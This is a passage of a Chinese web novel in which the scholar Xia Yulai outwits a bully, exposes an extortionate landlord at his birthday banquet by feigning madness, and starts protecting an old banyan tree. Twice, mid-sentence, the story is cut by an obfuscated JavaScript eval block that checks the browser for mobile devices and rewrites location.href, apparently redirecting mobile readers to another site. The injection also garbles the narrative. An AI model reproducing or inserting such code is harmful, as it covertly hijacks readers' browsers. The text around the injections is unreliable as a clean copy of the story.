夏雨来冷笑一声,“我们只是说句公道话。这里这么多乡亲,难道大家都在偏袒阿翠姑娘?难道大家的眼睛都瞎了?赵三,你要是真觉得茶摊不干净,我们可以现在就去官府,请官府派人来查验。要是真有问题,阿翠姑娘愿意接受任何惩罚;要是没问题,你就是故意造谣,污蔑他人,按照规矩,你不仅要给阿翠姑娘赔礼道歉,还要赔偿她的名誉损失!你敢吗?” 赵三心里一慌,他哪里敢去官府查验?他知道,阿翠的茶摊根本没有问题,要是真去了官府,他肯定会被治罪。 可他还是不想就这么认怂,只能硬着头皮说道:“我…… 我才不去官府!我就是要她赔偿我的损失!不然,我就一直在这里闹,让她做不成生意!” “一直在这里闹?” 夏雨来笑了笑,“赵三,你可知道,扰乱市井秩序,影响他人做生意,也是违反官府规矩的。官府有规定,凡是在街市上故意闹事、阻碍他人经营的,杖责二十,罚款十两银子。你要是想在这里闹,我现在就去报官,让官差来收拾你!” 赵三心里咯噔一下,他没想到,夏雨来竟然连官府的这个规矩都知道。他知道,要是真的报官,他不仅讨不到好,还要被杖责罚款,得不偿失。 就在赵三犹豫不决时,夏雨来又说道:“赵三,我劝你还是赶紧离开这里。你今天的目的,无非就是想敲诈点银子,或者毁了阿翠姑娘的生意。可现在,你的阴谋已经被揭穿了,你不仅敲诈不到银子,还会被官府追究责任。你要是识相,就赶紧走,不然,等官差来了,你想走都走不了了!” 赵三看着夏雨来坚定的眼神,又看着周围百姓们愤怒的目光,心里终于开始害怕了。他知道,今天要是再闹下去,肯定讨不到好,只能灰溜溜地走了。 可他又不想就这么丢了面子,只能恶狠狠地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446916|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“夏雨来,你给我等着!还有你,小娘子,今天算你们运气好,下次我再来找你们算账!” 说罢,赵三带着他的跟班,灰溜溜地离开了。 四、第三计:用规矩,慑恶奴 赵三走后,阿翠终于松了一口气,眼泪忍不住掉了下来。她走到夏雨来面前,深深鞠了一躬:“夏秀才,谢谢你!要是没有你,我今天真不知道该怎么办了!” “不用谢!” 夏雨来扶起她,笑道,“我只是做了我该做的事情。你是无辜的,不能让这些地痞流氓肆意欺负。” 周围的茶客们也纷纷围了上来,安慰阿翠:“阿翠姑娘,别害怕,有夏秀才在,没人能欺负你!” “赵三就是个地痞流氓,以后他再来,我们帮你一起对付他!” “是啊!我们都支持你!” 阿翠擦干眼泪,露出了笑容:“谢谢大家!有你们的支持,我就不怕了!” 可夏雨来知道,事情并没有这么简单。赵三虽然今天走了,但他肯定不会善罢甘休,陈老财也肯定会再派其他人来刁难阿翠。要想让阿翠的茶摊彻底安宁,就必须让陈老财知道,阿翠不是好欺负的,他的阴谋诡计是行不通的。 夏雨来想了想,对阿翠说道:“阿翠,你不用担心,赵三以后不会再来刁难你了。但为了以防万一,我给你写一张纸条,上面写着官府关于保护小商贩经营的规矩,你贴在茶摊显眼的地方。以后要是再有人来故意刁难,你就让他们看看这张纸条,告诉他们,要是敢违反规矩,你就去报官。一般的地痞流氓,看到官府的规矩,肯定不敢再胡作非为了。” “真的吗?” 阿翠眼睛一亮,“那太好了!谢谢你,夏秀才!” 夏雨来点了点头,从旧书箱里拿出纸笔,写下了几条官府的规矩: 1.凡合法经营的小商贩,受官府保护,任何人不得随意刁难、敲诈勒索; 2.不得在街市上故意闹事、阻碍他人经营,违者杖责二十,罚款十两银子; 3.不得故意造谣、污蔑他人,损害他人名誉,违者需赔礼道歉,赔偿损失; 4.凡涉及商事纠纷,需通过官府调解或诉讼解决,不得私自用暴力手段处理。 写完后,夏雨来把纸条交给阿翠:“你把这张纸条贴在茶棚的柱子上,让所有人都能看到。以后要是再有人来刁难你,你就指着这张纸条,告诉他们,这些都是官府的规矩,要是他们敢违反,你就去报官。官府的规矩,就是你最好的护身符。” 阿翠接过纸条,小心翼翼地贴在茶棚的柱子上,心里顿时踏实了不少。 果然,没过多久,陈老财就派管家周福来打探消息。周福看到茶摊柱子上的纸条,又听周围的百姓说了今天的事情,心里暗暗吃惊。他知道,夏雨来这是在警告陈老财,要是再敢派人来刁难阿翠,就别怪他不客气。 周福回到陈府,把事情的经过一五一十地告诉了陈老财。 陈老财听后,气得浑身发抖:“夏雨来!又是你!你到底想怎么样?处处跟我作对!” “老爷,” 周福小心翼翼地说道,“夏雨来给阿翠的茶摊贴了官府的规矩,现在街市上的百姓都知道这件事了。要是我们再派人去刁难阿翠,万一闹到官府,对我们不利啊!上回您已经栽了大跟头,要是再被官府追究,您的乡绅身份恐怕就保不住了!” 陈老财心里一紧,他知道,周福说得有道理。上回他已经违反了官府规矩,被知县大人罚了银子,要是再因为刁难阿翠的事情被官府追究,他的乡绅身份肯定会被革除。他最在乎的就是乡绅身份,自然不能冒这个险。 “哼!算他们运气好!” 陈老财狠狠说道,“以后不要再去招惹那个小娘子了!但夏雨来这个仇,我一定要报!” 周福连忙说道:“老爷,您息怒。夏雨来现在深得民心,又懂官府的规矩,我们暂时不能跟他硬碰硬。不如我们先忍一忍,等找到合适的机会,再好好教训他!” 陈老财点了点头,眼神里满是怨毒:“好!我就再忍一段时间!我倒要看看,他夏雨来能得意多久!” 自此,陈老财再也没有派过人来刁难阿翠,阿翠的茶摊终于恢复了安宁。 五、市井传扬,智斗留名 阿翠的茶摊恢复安宁后,生意愈发红火。百姓们不仅喜欢来这里喝茶,还喜欢听阿翠讲夏雨来三言两语化解危机的故事。夏雨来的机智勇敢,也赢得了更多百姓的敬佩和爱戴。 这一天,阿翠的茶摊前又来了不少新客,他们都是慕名而来,想亲眼见见夏雨来,也想喝一杯阿翠亲手沏的好茶。 “阿翠姑娘,听说上回赵三来刁难你,夏秀才三言两语就把他吓跑了?” 一位新客好奇地问道。 “是啊!” 阿翠笑着说道,“夏秀才可厉害了!他先是跟赵三讲茶理,戳穿了他不懂茶还故意找茬的谎言;又让老客们为我作证,揭穿了他造谣污蔑的阴谋;最后还用官府的规矩吓唬他,让他不敢再胡作非为。前后不过几句话的功夫,就帮我化解了危机!” “太厉害了!夏秀才真是智谋过人!” 新客赞叹道,“三言两语就打败了地痞流氓,还不用打官司,真是太神奇了!” “是啊!夏秀才不仅有智谋,还很勇敢,总是为我们百姓做主!” “有夏秀才在,我们潮州城的百姓就再也不用担心被地痞流氓欺负了!” 百姓们纷纷议论着,对夏雨来赞不绝口。 这时,夏雨来背着旧书箱,慢悠悠地走到了茶摊前。百姓们见状,纷纷起身问好:“夏秀才!” “夏秀才,你可来了!我们正说你呢!” 夏雨来笑着拱手道:“诸位乡亲,客气了。” 阿翠连忙给夏雨来沏了一杯茶,递到他面前:“夏秀才,快喝杯茶歇歇。” 夏雨来接过茶碗,仰头喝了一口,笑道:“阿翠姑娘的茶,还是这么好喝。” “都是托你的福!” 阿翠笑着说道,“要是没有你,我的茶摊早就保不住了。” 夏雨来摇了摇头:“不用谢我,要谢就谢官府的规矩,谢乡亲们的民心。赵三之所以会服软,不是因为怕我,是因为怕官府的惩罚,怕百姓们的指责。他知道,违反规矩、欺压百姓,是没有好下场的。” 他望向眼前热热闹闹的茶摊,声音清朗:“阿翠姑娘,你看。 公道自在, 民心可依, 规矩可守, 市井可安。 只要我们坚守公道,团结一心,遵守规矩, 就没有什么能欺负我们, 就没有什么能破坏我们的安宁。” 百姓们纷纷鼓掌叫好:“说得好!说得好!” 呼声震天,回荡在东门街的上空。 自此,夏雨来 “三言两语化解茶摊危机” 的故事,传遍了潮州城的大街小巷,成为市井百姓口中,最传奇、最解气、最让人敬佩的一段佳话。 百姓们又编了一首歌谣,四处传唱: “夏秀才,嘴皮子巧, 三言两语退恶奴, 茶摊危机轻松解, 百姓安宁乐逍遥。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,愈发光彩夺目,深入人心。 22. 装疯戏霸 一、市井太平,恶念再起 初夏的潮州城,暑气渐生,东门街的市井却比往日更显热闹。青石板路被晒得发烫,茶摊的凉棚下挤满了避暑的百姓,阿翠的茶摊依旧是街心最热闹的所在,铜壶煮茶的咕嘟声、百姓们的谈笑声、杂货铺的叫卖声交织在一起,一派欣欣向荣的景象。自上回夏雨来三言两语化解茶摊危机后,陈老财果然收敛了不少,再没敢派人来刁难,市井间的安宁日子过了月余,百姓们都快忘了这位劣绅的霸道。 这日午后,夏雨来正坐在阿翠茶摊的角落,翻看旧书箱里的杂记,忽然听到茶客们议论纷纷。“听说了吗?陈老财下月初六要做六十大寿,准备大摆宴席,还要请知府大人亲自赴宴呢!” 一位穿绸缎的客商说道,语气里满是艳羡。“何止啊!我听陈府的家丁说,陈老财为了显排场,不仅要请全城的乡绅名流,还要让百姓们凑份子送礼,说是‘同庆寿辰’,实则就是变相敲诈!” 另一位老茶客撇了撇嘴,满脸不屑。 夏雨来翻书的手顿了顿,眼神沉了沉。他早料到陈老财不会一直安分,六十大寿正是他摆排场、敛钱财的好机会,说不定还会借着寿宴的由头,找机会报复自己。果不其然,没过两日,陈府的管家周福就带着几个家丁,挨家挨户地 “请” 百姓们为陈老财祝寿,美其名曰 “自愿捐礼”,实则明码标价:商户最少捐五两银子,普通百姓最少捐一两银子,若是不肯捐,就威胁要断了生意、拆了房屋。 百姓们敢怒不敢言,纷纷来找夏雨来诉苦。“夏秀才,陈老财太黑心了!我们一年也赚不到几两银子,他一句话就要捐一两,这不是要我们的命吗?” 一位卖菜的老农抹着眼泪说道。“是啊!我要是不捐,他就说要砸了我的杂货铺,我一家老小都靠这铺子糊口呢!” 杂货铺老板急得团团转。 阿翠也忧心忡忡地对夏雨来说道:“夏秀才,陈老财这是借着寿宴敲诈百姓,你可不能不管啊!” 夏雨来放下手中的书,嘴角勾起一抹狡黠的笑:“管,自然要管。但对付陈老财这种爱面子的人,硬拼没用,讲道理他也不听。不如…… 我装疯卖傻,给他唱一出好戏,让他当众出丑,不仅收不到捐礼,还得乖乖收敛气焰!” “装疯卖傻?” 阿翠和百姓们都愣住了,“夏秀才,这能行吗?” “放心,” 夏雨来信心满满地说道,“陈老财最在乎的就是乡绅的体面,我就抓住这一点,在他最想显排场的时候,让他颜面扫地。到时候,他自顾不暇,自然就顾不上敲诈百姓了。” 接下来的几日,潮州城的百姓们惊奇地发现,平日里温文尔雅的夏秀才,忽然变得疯疯癫癫起来。他不再穿那身洗得发白的青布长衫,而是披头散发,穿着破烂的短打,手里拿着一根树枝,在街上游荡,嘴里还念念有词:“金银珠宝都是土,荣华富贵一场空,唯有公道值千金,疯疯癫癫乐无穷……” 百姓们一开始以为他是真的疯了,都很担心。直到有一天,夏雨来路过陈府门口,看到周福正在指挥家丁张贴寿宴的告示,他忽然冲了上去,一把撕下告示,扔在地上踩了几脚,嘴里喊道:“什么寿宴?都是骗人的!金银珠宝都是土,荣华富贵一场空!” 家丁们见状,连忙上前要抓他,却被周福拦住了。周福认出这是夏雨来,心里暗暗得意:“原来这夏雨来真的疯了!真是天助我家老爷!等他在寿宴上出了丑,看他还怎么跟老爷作对!” 周福没有为难夏雨来,反而任由他在陈府门口疯疯癫癫。他心里打着算盘:等到寿宴那天,让夏雨来当众发疯,不仅能让他出丑,还能让百姓们知道,跟陈老财作对的人,都没有好下场! 陈老财听说夏雨来疯了,也十分得意:“哼!我还以为他有多厉害,原来这么不堪一击!看来是上次被我吓破了胆,疯了也好,省得我再找他麻烦!” 他哪里知道,这正是夏雨来的计谋。一场围绕寿宴的疯癫好戏,即将上演。 二、第一计:疯言戏捐输,搅乱敛财局 离陈老财的寿宴还有三日,陈府门口搭起了高大的彩棚,张贴着 “寿比南山”“福如东海” 的对联,一派喜气洋洋的景象。周福带着家丁,在门口设立了 “捐礼处”,专门接收百姓们的寿礼,账本和笔墨都准备好了,就等着百姓们 “自愿” 捐钱。 可百姓们都知道夏雨来疯了的事情,心里都有了底,纷纷拖延着不肯捐礼。周福站在捐礼处,等了一上午,也没几个人来捐,心里十分着急。就在这时,夏雨来披头散发、衣衫褴褛地从街那头走来,手里拿着一根树枝,嘴里唱着疯话:“金银珠宝都是土,荣华富贵一场空,捐礼捐钱都是骗,不如回家喝稀粥……” 他径直走到捐礼处,一把抢过周福手里的账本,扔在地上,用脚使劲踩着,嘴里喊道:“什么破账本?都是骗人的!金银珠宝都是土,捐了也白捐!” 周福又气又急,想要去抢账本,却被夏雨来一把推开。夏雨来指着周福的鼻子,疯疯癫癫地说道:“你这个大骗子!拿着账本骗百姓的钱,小心天打雷劈!金银珠宝都是土,你骗来也没用,不如给我买个糖吃!” 周围的百姓们见状,都围了上来,纷纷窃笑。“夏秀才说得对!捐礼就是骗人的!”“陈老财那么有钱,还要敲诈我们百姓的钱,太黑心了!” 周福又羞又恼,对着家丁们喊道:“快!把这个疯子给我赶走!别让他在这里捣乱!” 家丁们连忙上前,想要抓住夏雨来。可夏雨来十分灵活,一边躲闪,一边继续唱着疯话:“疯子不疯,骗子才疯,敛财敛礼,天怒人怨!” 他一边唱,一边故意撞到捐礼处的桌子,桌上的笔墨纸砚都掉在了地上,墨水洒了一地,账本也被弄脏了。 周福气得浑身发抖,却又无可奈何。夏雨来现在是 “疯子”,他要是敢对疯子动手,传出去会被百姓们指责欺负疯子,影响陈老财的名声。只能眼睁睁地看着夏雨来在捐礼处捣乱。 夏雨来见目的达到,又对着百姓们喊道:“乡亲们,别捐钱!别捐礼!金银珠宝都是土,捐了也白捐!陈老财的寿宴是鸿门宴,进去就出不来了!” 百姓们本来就不愿意捐礼,听夏雨来这么一说,更是纷纷散去,没人再敢来捐礼。 周福看着空荡荡的捐礼处,又看着地上被弄脏的账本和笔墨,气得差点晕过去。他连忙回到陈府,把事情的经过一五一十地告诉了陈老财。 陈老财听后,气得一拍桌子,怒吼道:“这个疯子!竟然敢坏我的好事!我一定要好好教训他!” “老爷,” 周福小心翼翼地说道,“夏雨来现在是疯子,我们要是动他,传出去对您的名声不好。不如我们忍一忍,等寿宴那天,再想办法收拾他。” 陈老财冷静下来,想了想,觉得周福说得有道理。他要是跟一个疯子计较,只会让人笑话。“好!我就再忍他几天!” 陈老财咬牙切齿地说道,“等寿宴那天,我要让他在知府大人和所有乡绅面前出尽洋相,让他再也没脸在潮州城立足!” 夏雨来搅乱了陈老财的捐礼局,百姓们都十分高兴。晚上,阿翠偷偷给夏雨来送了些吃的和干净的衣服。“夏秀才,你今天真是太厉害了!几句话就把周福他们搅得鸡犬不宁,百姓们也不用捐礼了!” 阿翠笑着说道。 夏雨来换上干净的衣服,洗了把脸,恢复了往日的模样。“这只是开始,” 夏雨来笑道,“好戏还在后面呢!寿宴那天,我要让陈老财颜面扫地,再也不敢敲诈百姓!” 三、第二计:疯行闹寿宴,出尽恶绅丑 陈老财的六十大寿终于到了。这一日,陈府张灯结彩,锣鼓喧天,前来贺寿的乡绅名流络绎不绝,知府大人也如约而至,坐在正厅的主位上。陈老财穿着一身崭新的锦缎长袍,头戴寿星帽,满面红光地招待着宾客,心里得意洋洋。他特意让人在正厅门口留出一片空地,心里盘算着:等夏雨来那个疯子来了,就让他在这里当众发疯,好好羞辱他一番,也让所有人都知道,跟他作对的下场。 可左等右等,也没见到夏雨来的身影。陈老财心里有些着急,悄悄对周福说道:“那个疯子怎么还没来?你去街上看看,把他给我找来!” 周福连忙领命,刚走到门口,就看到夏雨来披头散发、衣衫褴褛地走来,手里拿着一根树枝,树枝上还挂着几个野果,嘴里唱着疯话:“今日寿星真威风,穿金戴银像狗熊,敲诈百姓血汗钱,寿宴变成鸿门宴……” 周福心里一喜,连忙上前,假装客气地说道:“夏秀才,我家老爷请你进去喝寿酒呢!” 夏雨来 “嘿嘿” 一笑,说道:“喝寿酒?有糖吃吗?我要吃糖,我要吃蜜饯!” 周福连忙说道:“有!有!里面有好多糖和蜜饯,快跟我进去!” 周福领着夏雨来走进正厅,宾客们见状,都纷纷侧目。知府大人皱了皱眉,问道:“陈老财,这位是……” 陈老财连忙笑道:“回大人,这是潮州城的一个秀才,不知怎么就疯了。今日我做寿,他想来讨杯酒喝,我就让他进来了,也算是积德行善。” 他心里暗暗得意:等会儿看你怎么出丑! 夏雨来却不管不顾,径直走到正厅中央,手里拿着树枝,指着陈老财,疯疯癫癫地说道:“你这个老狗熊!穿得这么漂亮,是不是骗了百姓的钱?我要吃糖,我要你把骗来的钱都给我买糖吃!” 宾客们见状,都忍不住笑了起来。陈老财的脸色瞬间变得难看,强压下心头的怒火,说道:“疯子,别在这里胡说八道!快给我滚开!” “我不滚!” 夏雨来把树枝一扔,一把抓住陈老财的衣袖,“你不给我糖吃,我就不滚!你这个老骗子,敲诈百姓的钱,还想做寿?我要让知府大人评评理!” 他转头看向知府大人,忽然跪在地上,哭诉道:“大人!您可要为百姓做主啊!陈老财借着做寿的名义,敲诈百姓的钱财,商户捐五两,百姓捐一两,要是不捐,就威胁要砸了人家的铺子,拆了人家的房子!百姓们苦不堪言,求大人为我们做主!” 众人都愣住了,没想到这个 “疯子” 竟然会说出这样的话。陈老财更是吓得脸色惨白,连忙说道:“大人,您别听他胡说!他是个疯子,说的都是胡话!我没有敲诈百姓,都是百姓们自愿捐礼的!” “自愿?” 夏雨来猛地站起身,指着门口的百姓们,“大人,您问问门口的百姓,他们是不是自愿的!他们要是不捐,陈老财就派人威胁他们,这哪里是自愿?这分明是敲诈!” 原来,夏雨来早就安排百姓们在门口等着,一旦他发难,就一起作证。门口的百姓们见状,纷纷涌了进来,七嘴八舌地说道:“大人,夏秀才说得是真的!陈老财确实敲诈我们!”“我要是不捐,他就说要砸了我的杂货铺!”“我一家老小都靠卖菜糊口,他非要我捐一两银子,这不是要我的命吗?” 知府大人的脸色瞬间沉了下来,看向陈老财:“陈老财,这到底是怎么回事?” 陈老财吓得浑身发抖,支支吾吾地说道:“大人,我…… 我没有…… 都是误会……” “误会?” 夏雨来又疯疯癫癫地说道,“什么误会?你就是想敲诈百姓的钱!我还知道,你去年灾荒的时候,只捐了五两银子,还堵塞水渠,断了百姓的活路,售卖劣质盐,害百姓生病!你做了这么多坏事,还想做寿?我看你是寿终正寝!” 他一边说,一边故意上前,一把扯掉了陈老财的寿星帽,扔在地上踩了几脚。“寿星帽,黑心肠,戴在头上不吉祥!不如扔在地上踩,为民除害心欢畅!” 陈老财气得浑身发抖,想要动手打夏雨来,却被知府大人喝住了:“住手!陈老财,你身为乡绅,竟敢敲诈百姓,为非作歹,真是胆大包天!” 夏雨来见状,又跪在地上,“嘿嘿” 一笑,说道:“大人英明!这个老狗熊,就该好好教训他!金银珠宝都是土,荣华富贵一场空,只有公道值千金,为民做主才英明!” 宾客们见状,都议论纷纷:“没想到陈老财是这样的人!太黑心了!”“夏秀才虽然疯了,但说得都是实话!”“知府大人一定要为百姓做主啊!” 陈老财看着眼前的一切,心里又气又急,差点晕过去。他没想到,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446917|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精心准备的寿宴,竟然被一个 “疯子” 搅得一塌糊涂,还当众暴露了自己敲诈百姓的罪行。 四、第三计:疯智揭老底,逼霸当众认 知府大人脸色铁青,对陈老财说道:“陈老财,百姓们都这么说,你还有什么话好说?来人,把他给我带下去,严加审问!” 官差们连忙上前,就要抓住陈老财。陈老财吓得魂飞魄散,连忙求饶:“大人,我错了!我不该敲诈百姓!求您饶了我这一次!” “饶了你?” 夏雨来忽然站起身,不再疯疯癫癫,眼神清明地说道,“陈老财,你不仅敲诈百姓,还栽赃陷害王二,堵塞水渠,售卖劣质盐,违反官府规矩,损害百姓利益。这些事情,桩桩件件都有证据,百姓们都可以作证。你以为装疯卖傻就能骗过所有人吗?你以为借着寿宴就能掩盖你的罪行吗?” 众人都愣住了,没想到夏雨来竟然恢复了正常。“夏秀才,你…… 你没疯?” 阿翠惊喜地说道。 夏雨来笑了笑,说道:“我当然没疯。我要是不装疯卖傻,怎么能接近陈老财,怎么能在他最想显排场的时候,揭穿他的罪行?怎么能让他当众出丑,让百姓们讨回公道?” 他转头看向知府大人,拱手道:“大人,学生夏雨来,故意装疯卖傻,就是为了揭露陈老财的罪行。他身为乡绅,却不为百姓谋福利,反而敲诈勒索,为非作歹,败坏乡绅名声,扰乱市井秩序。学生恳请大人,为百姓做主,严惩陈老财,还潮州城一个清明!” 百姓们纷纷鼓掌叫好:“夏秀才英明!”“知府大人,严惩陈老财!” 知府大人点了点头,对陈老财说道:“陈老财,现在证据确凿,你还有什么话好说?你敲诈百姓的钱财,必须全部退还;你违反官府规矩,按照律例,罚银一千两,用于救济百姓和修建水利;你栽赃陷害、堵塞水渠、售卖劣质盐,桩桩件件都该治罪。本府判决,将你革除乡绅身份,押入大牢,听候发落!” 陈老财吓得瘫倒在地,面如死灰。他万万没想到,自己机关算尽,竟然栽在了一个 “疯子” 手里。 周福和家丁们见状,想要上前阻拦,却被官差们一一抓住。“你们这些助纣为虐的恶奴,也跟陈老财一起押入大牢!” 知府大人厉声说道。 百姓们见状,都欢呼雀跃:“太好了!陈老财终于受到惩罚了!”“夏秀才太厉害了!装疯卖傻就把陈老财给收拾了!”“我们再也不用怕陈老财了!” 夏雨来看着眼前的一切,脸上露出了欣慰的笑容。他知道,潮州城的市井,终于可以彻底安宁了。 五、疯戏传全城,侠义永留名 陈老财被押入大牢后,潮州城的百姓们都欢欣鼓舞。夏雨来装疯卖傻戏耍陈老财的故事,也迅速传遍了全城的大街小巷,成为百姓们茶余饭后的笑谈。 “你们听说了吗?夏秀才装疯卖傻,在陈老财的寿宴上把他耍得团团转!” “当然听说了!夏秀才太机智了!先是搅乱了陈老财的捐礼局,又在寿宴上揭穿了他的罪行,让他当众出丑,最后还被知府大人革除了乡绅身份,押入了大牢!” “真是大快人心!陈老财那个老恶霸,终于得到了应有的惩罚!” “夏秀才不仅有智谋,还很勇敢,为了百姓的利益,不惜装疯卖傻,太让人敬佩了!” 阿翠的茶摊,更是成了百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯卖傻戏耍陈老财的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,阿翠的茶摊前挤满了百姓,大家都在围着夏雨来,听他讲述装疯卖傻的细节。“夏秀才,你当时怎么想到要装疯卖傻的?” 一位年轻的茶客好奇地问道。 夏雨来喝了一口茶,笑道:“陈老财这个人,爱面子,又霸道。跟他讲道理,他听不进去;跟他硬拼,他有权有势,百姓们会吃亏。不如装疯卖傻,让他放松警惕,然后在他最得意、最想显排场的时候,给他致命一击。这样既能揭穿他的罪行,又能让他当众出丑,让百姓们解气,还能借助官府的力量,严惩他的罪行,一举多得。” “太厉害了!” 年轻茶客赞叹道,“你当时在寿宴上,一会儿疯疯癫癫,一会儿又恢复正常,真是太精彩了!陈老财肯定被你骗得团团转!” “是啊!” 夏雨来笑道,“我就是要让他捉摸不透,让他以为我真的疯了,然后在他最放松的时候,突然发难,揭穿他的罪行。他那个时候,又惊又怒,又怕被知府大人和乡绅们笑话,自然就乱了阵脚,再也无法抵赖了。” 阿翠笑着说道:“夏秀才,你真是太机智了!你这一装疯卖傻,不仅帮百姓们讨回了公道,还让潮州城的市井彻底安宁了。现在,百姓们都在传唱你的故事呢!” “哦?传唱我的故事?” 夏雨来好奇地说道,“唱的是什么?” 阿翠清了清嗓子,唱道:“夏秀才,真稀奇,装疯卖傻戏恶绅。搅乱捐礼局,闹翻寿宴席,揭穿罪行显神通,百姓安宁乐无比!” 百姓们纷纷跟着合唱起来,歌声回荡在东门街的上空,充满了欢乐和感激。 夏雨来看着眼前热热闹闹的景象,看着百姓们脸上幸福的笑容,心里十分欣慰。他知道,自己做的这一切,都是值得的。 他站起身,对着百姓们拱手道:“诸位乡亲,不是我夏雨来厉害,是公道自有力量,民心自有所向。陈老财之所以会失败,是因为他违背了公道,损害了百姓的利益。只要我们坚守公道,团结一心,就没有什么能欺负我们,就没有什么能破坏我们的安宁。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 自此,夏雨来 “装疯卖傻戏恶绅” 的故事,成为了潮州城最传奇、最解气、最让人敬佩的一段佳话。百姓们把这个故事代代相传,告诫后人:公道自在人心,恶有恶报,善有善报,只要坚守公道,团结一心,就能战胜一切邪恶势力。 而鬼才秀才夏雨来的市井侠义传奇,也永远留在了潮州城百姓的心中,成为了一段不朽的传说。 23. 巧护古树 一、市井清明,古树遭劫 入秋的潮州城,天高气爽,东门街的市井愈发兴旺。青石板路被秋风扫得干净,阿翠的茶摊前依旧座无虚席,铜壶煮茶的香气混着桂花的甜香,弥漫在街巷间。自陈老财被押入大牢后,潮州城彻底没了往日的恶霸气焰,商户诚信经营,百姓安居乐业,连街角的乞丐都能得到善意的施舍,一派国泰民安的景象。 这日清晨,夏雨来正坐在茶摊角落,帮阿翠修补破损的竹椅,忽然听到街东头传来一阵嘈杂的喧哗声。“快来看啊!陈府的人要砍老榕树了!”“老天爷啊!那可是咱们潮州城的护城神树,怎么能砍呢?”“听说陈老财的侄子陈三,接管了陈府的产业,要把古树砍了盖酒楼呢!” 夏雨来手中的竹篾顿了顿,眼神骤然凝重。他所说的老榕树,生长在东门街东口的渡口旁,已有三百余年树龄,树干粗壮得需四五人合抱,枝繁叶茂如撑开的巨伞,不仅是夏日百姓避暑的好去处,更是潮州城百姓心中的 “神树”。相传这棵树是明朝初年潮州城建城时所栽,曾多次在洪水中护住渡口,百姓们都认为它有灵性,不少人家还让孩子认古树为 “树保爷”,祈求平安顺遂。每年清明、中秋,树下都会摆满百姓供奉的香烛、糕点,香火不绝。 “夏秀才,不好了!” 卖菜的老农王伯气喘吁吁地跑来,脸上满是焦急,“陈三带着十几个家丁,拿着斧头锯子,已经到老榕树下了,说今天非要把树砍了不可!” 阿翠也急得站起身:“陈三怎么敢这么大胆?那可是百姓们敬奉的神树啊!” 夏雨来放下竹椅,眉头紧锁:“陈三是陈老财的亲侄子,平日里就嚣张跋扈,如今接管了陈府的产业,自然想借着盖酒楼敛财。他知道百姓们敬畏古树,却偏要逆势而为,一来是想彰显自己的权势,二来恐怕也是想替陈老财报复百姓。” “那可怎么办?” 王伯抹着额头的汗,“我们几个老伙计上去阻拦,被他们推搡着赶了回来,陈三说谁再拦着,就打断谁的腿!” 夏雨来沉思片刻,嘴角忽然勾起一抹狡黠的笑,与上次戏耍陈老财时的神情如出一辙:“对付这种有恃无恐的恶徒,硬拼没用,讲道理他也听不进去。既然他不怕百姓的敬畏,那我就再装一次疯子,借着‘神树有灵’的说法,给他唱一出好戏,让他不仅不敢砍树,还得乖乖给古树赔罪!” “又装疯子?” 阿翠有些担忧,“上回你戏耍陈老财,陈三肯定记恨在心,他要是对你下狠手怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“陈三比陈老财更爱面子,也更迷信。他既然敢砍神树,就说明他表面逞强,心里实则怕遭报应。我就抓住这一点,用疯癫的言行戳中他的软肋,让他误以为真的触怒了树神,自然就不敢再放肆了。” 说罢,夏雨来快步跑回自己的小屋,片刻后便换了一身行头 —— 依旧是披头散发,穿着那件破烂的短打,手里还特意捡了一串野果串成的 “项链”,腰间系着一根挂满红布条的树枝,活脱脱一个疯疯癫癫的 “神汉” 模样。他对着镜子照了照,满意地点点头,嘴里开始念念有词:“树保爷,显灵验,护我城池护我民,谁敢伤你半片叶,天打雷劈遭报应……” 百姓们见状,都纷纷议论起来:“夏秀才这是怎么了?难道真的疯了?”“上回他就是装疯戏耍陈老财,这次肯定也是为了保护古树!”“不管是不是真疯,只要能拦住陈三砍树就行!” 夏雨来不理会众人的议论,径直朝着老榕树下走去。一场围绕古树的疯癫大戏,即将拉开帷幕。 二、第一计:疯认古树为亲,乱其阵脚 老榕树下,已是一片剑拔弩张的景象。陈三穿着一身锦缎短打,双手叉腰站在树下,身旁十几个家丁手持斧头、锯子,正准备动手。树下围满了闻讯赶来的百姓,个个面带怒色,却又不敢上前阻拦 —— 陈三带来的家丁都是凶神恶煞之辈,手里还拿着棍棒,谁也不想白白吃亏。 “都给我让开!” 陈三趾高气扬地喊道,“这棵树占了我陈府的地界,我想砍就砍,谁要是再敢多管闲事,休怪我不客气!” “胡说八道!” 一位白发苍苍的老者站出来,气得浑身发抖,“这棵树是咱们潮州城的公产,怎么就成了你陈府的地界?三百多年来,它护着咱们渡口,庇佑着百姓,你砍了它,就不怕遭天谴吗?” “天谴?” 陈三嗤笑一声,“我陈三天不怕地不怕,什么神树鬼树,在我眼里就是一堆柴火!今天这树,我砍定了!” 他话音刚落,就听到一阵疯疯癫癫的歌声从人群外传来:“树保爷,我的亲,枝繁叶茂护万民,谁若敢动你一根枝,我与他来拼命……” 